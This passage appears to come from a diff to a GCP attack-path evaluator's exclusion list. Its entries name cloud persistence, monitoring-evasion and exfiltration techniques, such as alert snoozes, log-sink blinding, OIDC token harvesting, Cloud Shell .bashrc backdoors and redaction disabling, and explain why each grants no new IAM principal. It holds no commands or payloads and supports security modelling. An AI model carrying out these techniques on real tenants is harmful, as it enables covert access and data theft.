recovery, or preserves application + access; it does not grant another Google IAM principal's roles. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-bigtable-persistence.md#silent-rolling-automated-backups-bigtabletablesupdate + technique: Silent rolling automated backups (bigtable.tables.update) + reason: The described standing change collects or exposes data, changes monitoring or recovery, or preserves application + access; it does not grant another Google IAM principal's roles. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-domains-persistence.md#domainsregistrationssetiampolicy--registration-scoped-iam-persistence + technique: domains.registrations.setIamPolicy — registration-scoped IAM persistence + reason: A registration IAM binding grants new registration-scoped DNS/contact/management rights. The current evaluator + has no registration-role target; Workspace recovery is a separate path. + source_revision: 0b36331 +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-vmwareengine-gcve-persistence.md#privatecloudssetiampolicy--durable-iam-binding-for-a-controlled-principal + technique: privateClouds.setIamPolicy — durable IAM binding for a controlled principal + reason: The binding grants VMware Engine private-cloud control to a controlled principal; vCenter/NSX credentials are separate + from Google IAM service accounts. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-monitoring-persistence.md#alert-policy--attacker-channel-as-a-defender-activity-feed---monitoringalertpoliciescreate--monitoringnotificationchannelscreate + technique: Alert policy + attacker channel as a defender-activity feed - monitoring.alertPolicies.create + monitoring.notificationChannels.cr + reason: The described standing change collects or exposes data, changes monitoring or recovery, or preserves application + access; it does not grant another Google IAM principal's roles. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-monitoring-persistence.md#hijacking-the-existing-alert-delivery-path---monitoringnotificationchannelsupdate + technique: Hijacking the existing alert delivery path - monitoring.notificationChannels.update + reason: The described standing change collects or exposes data, changes monitoring or recovery, or preserves application + access; it does not grant another Google IAM principal's roles. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-monitoring-persistence.md#long-lived-snooze-as-durable-blindness---monitoringsnoozescreate--update + technique: Long-lived snooze as durable blindness - monitoring.snoozes.create / .update + reason: The described standing change collects or exposes data, changes monitoring or recovery, or preserves application + access; it does not grant another Google IAM principal's roles. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-monitoring-persistence.md#uptime-check-as-a-recurring-outbound-channel---monitoringuptimecheckconfigscreate + technique: Uptime check as a recurring outbound channel - monitoring.uptimeCheckConfigs.create + reason: The described standing change collects or exposes data, changes monitoring or recovery, or preserves application + access; it does not grant another Google IAM principal's roles. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-monitoring-persistence.md#scheduled-service-agent-oidc-token-harvesting---monitoringuptimecheckconfigscreate--an-endpoint-you-control + technique: Receive Monitoring service-agent OIDC tokens + reason: The scheduled token is a real service-agent credential bound to the check audience. Usable escalation + requires an exact endpoint accepting that audience and authorizing this agent; without the receiver and + authorization facts the path is UNKNOWN. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-service-directory-persistence.md#servicedirectorynamespacesservicessetiampolicy--resource-scoped-iam-persistence + technique: servicedirectory.namespaces/services.setIamPolicy — resource-scoped IAM persistence + reason: The binding grants management of Service Directory namespaces or services only; it does not grant a workload service + account. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-data-fusion-persistence.md#instancenamespace-iam-binding-for-a-controlled-principal-datafusioninstancessetiampolicy + technique: Instance/namespace IAM binding for a controlled principal (datafusion.instances.setIamPolicy) + reason: The same datafusion.instances.setIamPolicy self-grant followed by Data Fusion pipeline execution is modeled by gcp-datafusion-setiampolicy-self-grant. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-deploy-persistence.md#clouddeployrolloutsrollback--re-arm-a-backdoor-release-on-demand + technique: clouddeploy.rollouts.rollback — re-arm a backdoor release on demand + reason: Rollback reactivates a previously created release; this permission alone cannot author a new artifact or select + a new execution identity. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-deploy-persistence.md#clouddeployreleasesabandon--foreclose-the-rollback-remediation-path + technique: clouddeploy.releases.abandon — foreclose the rollback remediation path + reason: Abandoning a release blocks rollback and remediation; it provides no new execution identity. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-contact-center-insights-persistence.md#standing-analysis-rule--continuous-auto-analysis-of-new-conversations-analysisrulescreate + technique: Standing analysis rule → continuous auto-analysis of new conversations (analysisRules.create) + reason: The rule continually analyzes future conversations and extracts PII; it does not provide a second Google IAM principal. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-contact-center-insights-persistence.md#standing-redaction-disable-via-settingsupdate--durable-raw-pii-capture + technique: Standing redaction-disable via settings.update — durable raw-PII capture + reason: The described standing change collects or exposes data, changes monitoring or recovery, or preserves application + access; it does not grant another Google IAM principal's roles. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-contact-center-insights-persistence.md#authorized-view-iam-binding-for-a-controlled-principal-authorizedviewssetiampolicy + technique: Authorized-view IAM binding for a controlled principal (authorizedViews.setIamPolicy) + reason: The binding grants continued access only to the named service resource or its data plane; it does not yield a separate + service account's IAM permissions. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-spanner-persistence.md#standing-data-role-grant-to-a-throwaway-principal-setiampolicy-backdoor + technique: Standing data-role grant to a throwaway principal (setIamPolicy backdoor) + reason: The binding grants Spanner database read/write roles to a controlled principal, not another Google IAM principal's + permissions. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-storage-persistence.md#storagehmackeyscreate + technique: storage.hmacKeys.create + reason: The same HMAC-key creation path and Cloud Storage-scoped target are modeled by gcp-storage-hmackeys-create; this + section emphasizes credential persistence. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-storage-persistence.md#storagebucketsupdate--pubsub-object-notification-exfil--monitoring-channel + technique: storage.buckets.update — Pub/Sub object-notification exfil & monitoring channel + reason: The described standing change collects or exposes data, changes monitoring or recovery, or preserves application + access; it does not grant another Google IAM principal's roles. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-storage-persistence.md#storagebucketsupdate--default-object-acl-poisoning-auto-expose-future-objects + technique: storage.buckets.update — default-object-ACL poisoning (auto-expose future objects) + reason: The described standing change collects or exposes data, changes monitoring or recovery, or preserves application + access; it does not grant another Google IAM principal's roles. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-managed-flink-persistence.md#managedflinkjobscreate--long-running-streaming-job-foothold + technique: managedflink.jobs.create — long-running streaming-job foothold + reason: The same managedflink.jobs.create plus actAs deployment identity path is modeled by gcp-managedflink-jobs-create-actas; + this section describes keeping the job running. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-pam-persistence.md#broaden-or-hijack-an-existing-entitlement-entitlementsupdate--entitlementssetiampolicy + technique: Broaden or hijack an existing entitlement (entitlements.update / entitlements.setIamPolicy) + reason: PAM checks that the editor could already grant the entitlement's offered role; changing eligibleUsers or approvalWorkflow + therefore cannot create a role beyond the editor's existing IAM authority. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-logging-persistence.md#loggingsinkscreate + technique: Continuous sink of audit logs potentially containing bearer tokens + reason: A sink exports log data. Whether it yields a usable bearer/ID token depends on runtime log content + and token validity, which configuration cannot establish; sink creation alone identifies no gained principal. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-logging-persistence.md#loggingsinksupdate--durable-blinding-of-_default-exclusion-or-disable + technique: logging.sinks.update — durable blinding of _Default (exclusion or disable) + reason: The described standing change collects or exposes data, changes monitoring or recovery, or preserves application + access; it does not grant another Google IAM principal's roles. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-logging-persistence.md#loggingbucketsupdate---locked--anti-remediation-retention-floor + technique: logging.buckets.update --locked — anti-remediation retention floor + reason: The described standing change collects or exposes data, changes monitoring or recovery, or preserves application + access; it does not grant another Google IAM principal's roles. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-security-command-center-persistence.md#security-posture-tamper--revert-preventive-guardrails-silently-securitypostureposturedeployments + technique: Security Posture tamper — revert **preventive** guardrails, silently (securityposture.postureDeployments.*) + reason: Deleting or downgrading a Security Posture deployment can revert preventive Org Policy constraints + as well as detection. The write alone grants no identity; an escalation edge needs the exact enforced constraint, + before/after effective policy, and a separately authorized privilege path that becomes usable. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-dlp-persistence.md#dlpjobtriggerscreate--recurring-sensitive-value-collection + technique: dlp.jobTriggers.create — recurring sensitive-value collection + reason: The described standing change collects or exposes data, changes monitoring or recovery, or preserves application + access; it does not grant another Google IAM principal's roles. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-managed-kafka-persistence.md#durable-kafka-connect-connector-as-a-standing-tap-managedkafkaconnectorscreate + technique: Durable Kafka Connect connector as a standing tap (managedkafka.connectors.create) + reason: The described standing change collects or exposes data, changes monitoring or recovery, or preserves application + access; it does not grant another Google IAM principal's roles. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-managed-kafka-persistence.md#attacker-created-topic-as-a-covert-channel--dead-drop-managedkafkatopicscreate + technique: Attacker-created topic as a covert channel / dead-drop (managedkafka.topics.create) + reason: The described standing change collects or exposes data, changes monitoring or recovery, or preserves application + access; it does not grant another Google IAM principal's roles. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-managed-kafka-persistence.md#kafka-acl-granting-a-controlled-principal-durable-topic-access-managedkafkaaclscreate--updateentries + technique: Grant controlled Kafka principal topic access + reason: A native Kafka ACL may grant READ or WRITE to a controlled Kafka principal on an exact topic. Catalog + emission awaits Kafka-principal/resource target support and ACL enforcement, authentication and topic facts. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-managed-kafka-persistence.md#project-level-rolesmanagedkafkaclient-grant-to-a-controlled-identity + technique: Project-level roles/managedkafka.client grant to a controlled identity + reason: The project/folder/organization IAM self-grant uses resourcemanager.*.setIamPolicy, already modeled by the matching + resourcemanager policy-write entries; this section describes retaining the grant. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-cx-agent-studio-persistence.md#cesagentsupdate--cestoolsupdate--implant-persistent-agent-behavior + technique: ces.agents.update / ces.tools.update — implant persistent agent behavior + reason: Agent/tool edits alter application behavior when the agent runs; no Google IAM service-account token or role is + granted by the edit. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-cx-agent-studio-persistence.md#cesappversionscreate--cesdeploymentsupdate--pin-a-backdoored-immutable-version + technique: ces.appVersions.create + ces.deployments.update — pin a backdoored immutable version + reason: Pinning an app version preserves a backdoored agent application; it does not yield a Google IAM service-account + identity. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-api-keys-persistence.md#apikeyskeyscreate--apikeyskeysgetkeystring + technique: apikeys.keys.create (+ apikeys.keys.getKeyString) + reason: CreateKey returns a project API-key credential accepted by enabled key-accepting APIs. The current principal-edge + schema has no API-key target or API capability selector. + source_revision: 0b36331 +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-api-keys-persistence.md#apikeyskeysundelete--revive-a-key-the-defender-already-deleted + technique: apikeys.keys.undelete — revive a key the defender already deleted + reason: Undelete restores an existing API-key credential only if the key is recoverable and its string is known or + separately retrievable. The current principal-edge schema has no API-key target. + source_revision: 0b36331 +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-certificate-authority-service-persistence.md#privatecacertificateauthoritiescreate--attacker-controlled-signing-key--retain-a-trusted-subordinate-ca-credential + technique: privateca.certificateAuthorities.create + attacker-controlled signing key — retain a trusted subordinate + CA credential + reason: A retained subordinate KMS signing key can issue certificates under a trusted CA chain. The current evaluator + has no CA authority target or relying-party trust and name-constraint join. + source_revision: 0b36331 +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-healthcare-persistence.md#healthcarefhirstoresupdate--stream-future-fhir-versions-to-bigquery + technique: healthcare.fhirStores.update — stream future FHIR versions to BigQuery + reason: The described standing change collects or exposes data, changes monitoring or recovery, or preserves application + access; it does not grant another Google IAM principal's roles. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-healthcare-persistence.md#healthcarefhirstoresupdate--publish-future-full-fhir-resources-to-pubsub + technique: healthcare.fhirStores.update — publish future full FHIR resources to Pub/Sub + reason: The described standing change collects or exposes data, changes monitoring or recovery, or preserves application + access; it does not grant another Google IAM principal's roles. +- source: src/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-bigtable-unauthenticated-enum.md#tables-granted-bigtabletablesreadrows-to-allusers--allauthenticatedusers + technique: Tables granted bigtable.tables.readRows to allUsers / allAuthenticatedUsers + reason: The public Bigtable table binding exposes table rows; it gives no permission to act as the table owner or service + account. +- source: src/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-firebase-unauthenticated-enum.md#anonymous-sign-up--bypass-if-requestauth--null-rules + technique: Anonymous sign-up → bypass if request.auth != null rules + reason: Anonymous Firebase sign-up satisfies an overly broad application security rule; it does not grant a Google Cloud + IAM principal's roles. +- source: src/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-cloud-tasks-unauthenticated-enum.md#queues-granted-cloudtaskstaskscreate-to-allusers--allauthenticatedusers + technique: Queues granted cloudtasks.tasks.create to allUsers / allAuthenticatedUsers + reason: A queue binding to allUsers or allAuthenticatedUsers permits task enqueueing by any Google-authenticated + caller without a victim-project grant; the Cloud Tasks API still requires a valid Google bearer token. Creating + a task with an OAuth/OIDC token for a service account additionally requires iam.serviceAccounts.actAs on that + account, so the queue grant alone does not confer its IAM privileges. +- source: src/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-iap-unauthenticated-enum.md#allusers--rolesiaphttpsresourceaccessor-bypass + technique: allUsers → roles/iap.httpsResourceAccessor bypass + reason: The allUsers IAP binding exposes the protected application to the public; it does not impersonate the application + service account. +- source: src/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-cloud-run-unauthenticated-enum.md#claim-a-released-cloudrun-custom-url + technique: Claim a released *.cloud.run custom URL + reason: Claiming a retired custom URL can capture traffic or credentials sent to that hostname, but no configuration-derived + Google principal is obtained. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-apigee-privesc.md#apigeeproxiescreate--apigeedeploymentscreate--apigeeproxyrevisionsdeploy--iamserviceaccountsactas--deploy-a-malicious-api-proxy-revision + source_revision: 0b36331 + technique: Deploy proxy to capture backend or client credentials without an attached SA + reason: 'The no-SA proxy branch can intercept credentials only if future client/backend traffic contains usable + secrets; configuration alone cannot name a gained credential. Required runtime fact: a specific future request + carries a valid credential to a reachable attacker-controlled receiver; proxy/flow configuration does not prove + it.' +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-apigee-privesc.md#apigeesharedflowscreate--apigeedeploymentscreate--apigeesharedflowrevisionsdeploy--apigeeflowhooksattachsharedflow--execute-a-malicious-shared-flow-across-an-environment + source_revision: 0b36331 + technique: Attach malicious shared flow to capture traffic credentials without SA + reason: 'The no-SA shared-flow branch depends on future traffic carrying usable credentials; deployment and hook + attachment alone do not confer an identity. Required runtime fact: a specific future request carries a valid + credential to a reachable attacker-controlled receiver; proxy/flow configuration does not prove it.' +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md#dataprocclustersget--config-leak-sa--scopes--buckets--metadata--properties--staging-bucket-poison + technique: Dataproc metadata or retained driver-output credential recovery + reason: Needs actual cluster metadata or retained output contents containing a live reusable credential, its principal + and replay scope; dataproc.clusters.get plus storage.objects.get/list only identify readable data. Staging object + poisoning is separately modeled by gcp-dataproc-staging-object-replace and gcp-dataproc-staging-object-plant. + source_revision: 0b36331 +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-composer-privesc.md#composerenvironmentsexecuteairflowcommand--retrieve-airflow-secrets-or-run-available-dag-code + technique: Composer Airflow connection or variable credential replay + reason: Requires actual Airflow connection/variable or Secret Manager backend contents, a live reusable secret, + and the principal and scope it authenticates. composer.environments.executeAirflowCommand alone proves only + CLI reachability; the environment-SA code path remains gcp-composer-environments-executeairflowcommand. + source_revision: 0b36331 +- source: src/pentesting-cloud/gcp-security/gcp-cross-project-attacks/historical-cross-project-vulnerabilities.md#gcp--google-workspace-crossings + technique: GhostToken project deletion and restoration hides OAuth app + reason: GhostToken depended on a Google OAuth validation behavior fixed April 2023 and a pre-existing refresh + token; current project deletion/restoration configuration does not establish new access. +- source: src/pentesting-cloud/gcp-security/gcp-cross-project-attacks/historical-cross-project-vulnerabilities.md#managed-service-tenant--host-escapes + technique: Cloud SQL SQL Server tempdb trigger to sysadmin and host + reason: Historical Cloud SQL SQL Server tempdb flaw requires a vulnerable engine build and SQL trigger execution; + GCP IAM and instance configuration alone do not establish it. +- source: src/pentesting-cloud/gcp-security/gcp-cross-project-attacks/historical-cross-project-vulnerabilities.md#patched-2026-managed-service-vulnerabilities + technique: SecOps SOAR internal-header spoofing + reason: 'Historical managed-service flaw: the cited page states Google fixed the affected service; current IAM/configuration + cannot imply the old authorization or isolation bypass.' +- source: src/pentesting-cloud/gcp-security/gcp-cross-project-attacks/historical-cross-project-vulnerabilities.md#patched-2026-managed-service-vulnerabilities + technique: Apigee sandbox metadata-token crossing + reason: 'Historical managed-service flaw: page says Google fixed the affected service; a current snapshot needs + an affected customer-managed version and exploit-specific configuration before this can be an active path.' +- source: src/pentesting-cloud/gcp-security/gcp-cross-project-attacks/historical-cross-project-vulnerabilities.md#patched-2026-managed-service-vulnerabilities + technique: Dangling logging sink destination and attacker re-registration + reason: The Google sink re-registration flaw is fixed. A remaining dangling bucket may leak logs, but an identity + edge needs a live sink to an attacker-owned name and credential-bearing log content, neither established by + sink configuration alone. +- source: src/pentesting-cloud/gcp-security/gcp-cross-project-attacks/historical-cross-project-vulnerabilities.md#authorization-bypass-and-shadow-resources + technique: Dangling/staging GCS bucket squatting leading to privileged consumer code + reason: Bucket-name squatting alone yields data access. Privilege gain needs a vulnerable consumer version, actual + execution of attacker-controlled pickle/model content or a credential in victim writes, and ownership/reachability + of the exact name. +- source: src/pentesting-cloud/gcp-security/gcp-cross-project-attacks/organization-and-central-project-pivots.md#cross-project-visibility-and-exfiltration + technique: Redirect org/folder aggregated logging sink to attacker destination + reason: A logging sink redirects log data; privilege gain requires a credential actually present in emitted logs, + attacker access to the destination, and usable credential scope/validity. +- source: src/pentesting-cloud/gcp-security/gcp-cross-project-attacks/resource-sharing-and-confused-deputy-attacks.md#cross-project-resource-sharing-service-matrix + technique: Read cloud secret containing credentials across projects + reason: Secret Manager read alone is data access. An identity edge needs the version payload to contain a valid + credential for a different principal and its exact scope; IAM/resource metadata cannot prove that content. +- source: src/pentesting-cloud/gcp-security/gcp-basic-information/README.md#keys--tokens + technique: Steal service-account OAuth token from HTTP request or metadata + reason: HTTP token interception or metadata theft requires a runtime observation of a usable token and its intended + principal; keys/tokens overview supplies no configuration-derived path. +- source: src/pentesting-cloud/gcp-security/gcp-cross-project-attacks/historical-cross-project-vulnerabilities.md#patched-2026-managed-service-vulnerabilities + technique: Application Integration internal-task RPC proxy + reason: 'Historical managed-service flaw: the cited page states Google fixed the affected service; current IAM/configuration + cannot imply the old authorization or isolation bypass.' +- source: src/pentesting-cloud/gcp-security/gcp-cross-project-attacks/historical-cross-project-vulnerabilities.md#patched-2026-managed-service-vulnerabilities + technique: Application Integration JavaScript deserialization RCE + reason: 'Historical managed-service flaw: the cited page states Google fixed the affected service; current IAM/configuration + cannot imply the old authorization or isolation bypass.' +- source: src/pentesting-cloud/gcp-security/gcp-cross-project-attacks/historical-cross-project-vulnerabilities.md#patched-2026-managed-service-vulnerabilities + technique: Application Integration Email Task file-read deputy + reason: 'Historical managed-service flaw: the cited page states Google fixed the affected service; current IAM/configuration + cannot imply the old authorization or isolation bypass.' +- source: src/pentesting-cloud/gcp-security/gcp-cross-project-attacks/historical-cross-project-vulnerabilities.md#patched-2026-managed-service-vulnerabilities + technique: Integration Connectors unauthorized SA attachment + reason: 'Historical managed-service flaw: the cited page states Google fixed the affected service; current IAM/configuration + cannot imply the old authorization or isolation bypass.' +- source: src/pentesting-cloud/gcp-security/gcp-cross-project-attacks/historical-cross-project-vulnerabilities.md#patched-2026-managed-service-vulnerabilities + technique: GKE Multi-Cloud missing target-project authorization + reason: 'Historical managed-service flaw: the cited page states Google fixed the affected service; current IAM/configuration + cannot imply the old authorization or isolation bypass.' +- source: src/pentesting-cloud/gcp-security/gcp-cross-project-attacks/historical-cross-project-vulnerabilities.md#patched-2026-managed-service-vulnerabilities + technique: BigQuery Data Transfer JDBC tenant-project escape + reason: 'Historical managed-service flaw: the cited page states Google fixed the affected service; current IAM/configuration + cannot imply the old authorization or isolation bypass.' +- source: src/pentesting-cloud/gcp-security/gcp-cross-project-attacks/historical-cross-project-vulnerabilities.md#patched-2026-managed-service-vulnerabilities + technique: BigQuery Dataform Colab repository takeover + reason: 'Historical managed-service flaw: the cited page states Google fixed the affected service; current IAM/configuration + cannot imply the old authorization or isolation bypass.' +- source: src/pentesting-cloud/gcp-security/gcp-cross-project-attacks/historical-cross-project-vulnerabilities.md#patched-2026-managed-service-vulnerabilities + technique: Developer Connect secret-check deputy + reason: 'Historical managed-service flaw: the cited page states Google fixed the affected service; current IAM/configuration + cannot imply the old authorization or isolation bypass.' +- source: src/pentesting-cloud/gcp-security/gcp-cross-project-attacks/historical-cross-project-vulnerabilities.md#patched-2026-managed-service-vulnerabilities + technique: Cloud Build secret-check deputy + reason: 'Historical managed-service flaw: the cited page states Google fixed the affected service; current IAM/configuration + cannot imply the old authorization or isolation bypass.' +- source: src/pentesting-cloud/gcp-security/gcp-cross-project-attacks/historical-cross-project-vulnerabilities.md#patched-2026-managed-service-vulnerabilities + technique: App Engine request-log cross-tenant leak + reason: 'Historical managed-service flaw: the cited page states Google fixed the affected service; current IAM/configuration + cannot imply the old authorization or isolation bypass.' + +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-functions-post-exploitation.md#read-managed-source-bucket-objects-directly + technique: Read managed source-bucket objects directly + reason: storage.objects.get can recover a retained function archive, but impersonation requires a reusable, unexpired + credential embedded in its source bytes and a known owner. Archive existence, contents, and credential validity are + not determined by source-bucket IAM. + +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-run-post-exploitation.md#access-the-images + technique: Access the images + reason: Registry pull access yields image bytes. An identity pivot requires a reusable credential actually embedded + in image layers and still valid; the image digest and repository permissions do not establish that fact or identify + the target. + +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-shell-post-exploitation.md#recover-the-authorized-users-session-access-token + technique: Recover the authorized user's session access token + reason: Recovering the user token requires code or shell execution as that Unix user in a running Cloud Shell session + after the user authorized tools. Session state and the locally supplied short-lived token are runtime host facts + absent from the cloud IAM snapshot. + +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-composer-post-exploitation.md#export-dags-data-and-plugins + technique: Export DAGs, data, and plugins + reason: Exporting Composer bucket objects yields DAG, plugin, or data bytes. A privilege pivot requires an unexpired + credential embedded in those files and its principal mapping; bucket permissions do not establish either fact. + +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-compute-post-exploitation.md#read-literal-configuration-from-compute-metadata + technique: Read literal configuration from Compute metadata + reason: Compute get/list can expose literal metadata. A privilege pivot requires a valid password, key, or token in + an actual metadata value and a mapped target identity; free-form metadata may contain none. + +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-compute-post-exploitation.md#export--inspect-images-locally + technique: Export & Inspect Images locally + reason: Image export yields filesystem bytes. Identity gain requires a live credential actually stored on the exported + image and a principal to which it belongs; export IAM and image metadata do not prove that content fact. + +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-compute-post-exploitation.md#export--inspect-snapshots--disks-locally + technique: Export & Inspect Snapshots & Disks locally + reason: Snapshot/disk conversion and export yield filesystem bytes. Credential gain requires a live credential on the + source volume and a mapped owner; resource permissions and snapshot inventory cannot prove either. + +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-compute-post-exploitation.md#recover-deleted-standard-snapshots-before-expiry + technique: Recover deleted standard snapshots before expiry + reason: Recovering a standard snapshot yields retained disk data. An identity edge requires an unexpired credential + in the deleted filesystem and a known owner; retention and recoverability alone cannot establish this. + +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-compute-post-exploitation.md#inspect-an-image-creating-a-vm + technique: Inspect an Image creating a VM + reason: Booting an image for inspection exposes guest filesystem data only if the source can access the inspection + VM. A credential pivot needs a live secret in the image bytes; the attached-SA code-execution route is already gcp-compute-instances-create-actas. + +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-compute-post-exploitation.md#inspect-a-snapshotdisk-attaching-it-to-a-vm + technique: Inspect a Snapshot/Disk attaching it to a VM + reason: Attaching a compatible disk to an inspection VM exposes filesystem bytes. A privilege pivot requires an unexpired + credential on that disk and its principal mapping, neither inferable from attach/use permissions. + +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-config-controller-post-exploitation.md#kubernetes-secret-read--recover-credentials-supplied-to-or-generated-by-config-connector-and-config-sync + technique: Kubernetes Secret read — recover credentials supplied to or generated by Config Connector and Config Sync + reason: A Config Connector or Config Sync Secret may contain an SA private key, DB password, or Git token, but its + actual bytes, credential type, target principal, and current validity are needed. KSA token Secrets are separately + modeled by gcp-container-secrets-read-ksa-token-secret and K8s RBAC entries. + +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-contact-center-insights-post-exploitation.md#read-stored-transcripts-and-analysis-results + technique: Read stored transcripts and analysis results + reason: Conversation and analysis reads return stored content. A privilege pivot requires an unredacted reusable credential + in an actual transcript or result plus its still-valid target identity; list/get permission does not prove those + facts. + +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-ids-post-exploitation.md#route-selected-vpc-flows-through-an-attacker-controlled-intercept-service + technique: Route selected VPC flows through an attacker-controlled intercept service + reason: Interception can reveal a second principal only if a live selected flow carries a usable credential in plaintext + or in traffic the appliance can decrypt; firewall and endpoint configuration cannot identify that runtime payload + or credential owner. + +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-ids-post-exploitation.md#mirror-selected-vpc-traffic-to-an-attacker-controlled-collector-through-nsi + technique: Mirror selected VPC traffic to an attacker-controlled collector through NSI + reason: Mirroring can reveal a second principal only if a selected live flow carries a usable credential visible to + the collector; configuration cannot prove the payload, decryption, or credential owner. + +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-parameter-manager-post-exploitation.md#parameter-poisoning--inject-configsecret-refs-consumed-by-workloads + technique: Parameter poisoning — inject config/secret-refs consumed by workloads + reason: The config-poisoning branch depends on a runtime workload consuming the modified version and on how that application + interprets the value. The __REF__/render branch returns arbitrary Secret Manager content; only inspection of the + secret bytes can establish whether they are a usable credential for a named second principal. + +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-workflows-post-exploitation.md#read-execution-arguments-results-and-detailed-step-variables + source_revision: 0b36331 + technique: Read credential from execution records or detailed history; List FULL executions to recover recorded credentials + reason: Execution arguments, results and DETAILED step values may contain a usable credential, but retained content, + redaction and credential validity are runtime facts. FULL execution listing can reveal a credential only if retained + argument/result content contains an unredacted usable secret. + +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-artifact-registry-persistence.md#upstream-credential-tamper--disclosure---remote-username----remote-password-secret-version + source_revision: 0b36331 + technique: Locate upstream secret and read backing credential + reason: Repository metadata reveals only a Secret Manager version path; the password value, usability and distinct + authority require reading secret content. + +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-beyondcorp-persistence.md#retain-service-level-access-with-gateway-and-application-iam-bindings + source_revision: 0b36331 + technique: Grant controlled principal BeyondCorp gateway/application access; Create and grant new BeyondCorp application + reason: Gateway and application bindings permit browser routing, but upstream application authentication, Chrome licensing + and a reachable gateway are not proved by IAM configuration. A newly created BeyondCorp application does not bypass + upstream authentication; usable app privileges depend on gateway route, licensed client and backend access. + +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-functions-persistence.md#expose-an-http-backdoor + source_revision: 0b36331 + technique: Expose attacker-controlled function for unauthenticated privileged execution + reason: An allUsers invoker binding grants only invocation; SA privilege gain requires a backdoored handler whose behavior + cannot be established from service IAM. + +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-run-persistence.md#publicly-accessible-service + source_revision: 0b36331 + technique: Grant allUsers invocation of backdoored Cloud Run service + reason: An allUsers invoker binding grants only invocation; SA privilege gain requires a backdoored handler whose behavior + cannot be established from service IAM. + +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-scheduler-persistence.md#pubsub-and-app-engine-jobs---identity-free-dormant-triggers + source_revision: 0b36331 + technique: Scheduler trigger for existing privileged App Engine handler or backdoored function + reason: A Pub/Sub/App Engine job only sends a chosen request; privileged behavior depends on an existing handler and + task payload, not job creation alone. + +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-shell-persistence.md#backdoor-bashrc + technique: Victim Cloud Shell .bashrc callback and active user credential use + reason: Code executes as the victim only if the attacker has already written that specific user's private Cloud Shell + home and the victim later opens an interactive shell; project IAM configuration has no cross-user home mapping or + write grant to evaluate. + +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-shell-persistence.md#backdoor-customize_environment + technique: Root Cloud Shell boot callback and active-user credential use + reason: Root code execution in the ephemeral Cloud Shell VM requires a prior write to that victim's private home and + a later VM boot; whether the victim has authorized Google API access is a separate session fact, absent from project + configuration. + +- source: 